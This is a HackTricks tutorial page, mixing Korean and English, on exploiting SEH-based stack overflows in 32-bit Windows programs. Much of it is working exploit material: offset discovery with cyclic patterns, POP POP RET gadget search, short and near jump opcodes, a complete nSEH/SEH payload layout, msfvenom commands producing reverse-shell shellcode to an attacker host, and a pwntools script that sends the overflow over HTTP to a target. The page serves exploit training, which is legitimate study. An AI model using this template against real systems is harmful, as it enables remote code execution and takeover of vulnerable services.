Windows SEH 기반 스택 오버플로우 익스플로잇 (nSEH/SEH)
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SEH 기반 익스플로잇은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법입니다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때
- nSEH: 다음 SEH 레코드를 가리키는 포인터, 및
- SEH: 예외 핸들러 함수의 포인터
공격자는 다음과 같이 실행 흐름을 제어할 수 있습니다:
- SEH를 SafeSEH 등이 적용되지 않은(non-protected) 모듈의 POP POP RET 가젯 주소로 설정하여, 예외가 발생했을 때 그 가젯이 공격자가 제어하는 바이트로 리턴하도록 하고,
- nSEH를 사용해 실행을 (보통 짧은 점프) 오버플로우로 채워진 큰 버퍼(여기에 shellcode가 위치함)로 되돌립니다.
이 기법은 32-bit 프로세스(x86)에만 해당합니다. 현대 시스템에서는 가젯으로 SafeSEH와 ASLR이 적용되지 않은 모듈을 선호합니다. C-strings 및 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF) 같은 bad characters가 포함됩니다.
정확한 오프셋 찾기 (nSEH / SEH)
- 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인하세요 (예: x32dbg/x64dbg에서 SEH 뷰를 확인).
- 오버플로우 데이터로 cyclic pattern을 전송하고 nSEH와 SEH에 도달하는 두 dword의 오프셋을 계산하세요.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
Choosing a POP POP RET (SEH gadget)
You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR:
- Mona (Immunity/WinDbg):
!mona modules
then!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
to list POP POP RET gadgets and SafeSEH status.
Pick an address that contains no badchars when written little-endian (e.g., p32(0x004094D8)
). Prefer gadgets inside the vulnerable binary if protections allow.
Jump-back technique (short + near jmp)
nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx
) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
nSEH가 offset 660에 있는 1000-byte payload에 대한 레이아웃 아이디어:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
실행 흐름:
- 예외가 발생하면 디스패처가 덮어쓴 SEH를 사용한다.
- POP POP RET가 언와인드되어 우리 nSEH로 진입한다.
- nSEH가
jmp short -8
를 실행하여 5-byte near jump로 점프한다. - Near jump가 우리의 버퍼 시작 부분에 착지하여 NOP sled + shellcode가 위치한 곳으로 이동한다.
Bad characters
전체 badchar 문자열을 만들고 크래시 후 스택 메모리를 비교하여 대상 파서에 의해 변형된 바이트를 제거한다. HTTP-based overflows의 경우, \x00\x0a\x0d
는 거의 항상 제외된다.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode 생성 (x86)
msfvenom을 자신의 badchars와 함께 사용하세요. 작은 NOP sled는 착지 위치의 오차를 허용하는 데 도움이 됩니다.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
즉석에서 생성하는 경우, hex 형식은 Python에서 embed하고 unhex하기에 편리합니다:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
HTTP로 전달하기 (precise CRLF + Content-Length)
취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLF와 Content-Length를 포함한 raw request를 제작하여 서버가 전체 오버플로우된 본문을 읽도록 하라.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
도구
- x32dbg/x64dbg — SEH 체인을 관찰하고 크래시를 triage(분류)하기 위해.
- ERC.Xdbg (x64dbg 플러그인) — SEH gadgets 열거:
ERC --SEH
. - Mona — 대안으로:
!mona modules
,!mona seh
. - nasmshell — short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해.
- pwntools — 정밀한 네트워크 payload를 제작하기 위해.
노트 및 주의사항
- x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하며 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다.
- SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선적으로 사용하세요. 그렇지 않다면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요.
- 크래시 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다.
참고자료
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.